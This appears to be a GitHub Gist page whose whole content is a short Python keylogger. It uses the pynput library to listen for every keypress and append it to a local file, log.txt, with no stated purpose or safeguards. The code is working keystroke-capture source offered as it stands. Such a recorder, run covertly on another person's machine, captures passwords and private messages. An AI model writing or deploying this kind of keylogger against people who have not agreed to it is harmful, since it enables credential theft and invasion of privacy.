Created
August 28, 2020 15:45
-
-
Save alexandrehrk/1509f4bebbc11b94c8d0a134dfd9d029 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Listener | |
def writetofile(key): | |
keydata = str(key) | |
keydata = keydata.replace("'", "") | |
with open("log.txt", "a") as f: | |
f.write(keydata) | |
with Listener(on_press=writetofile) as l: | |
l.join() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment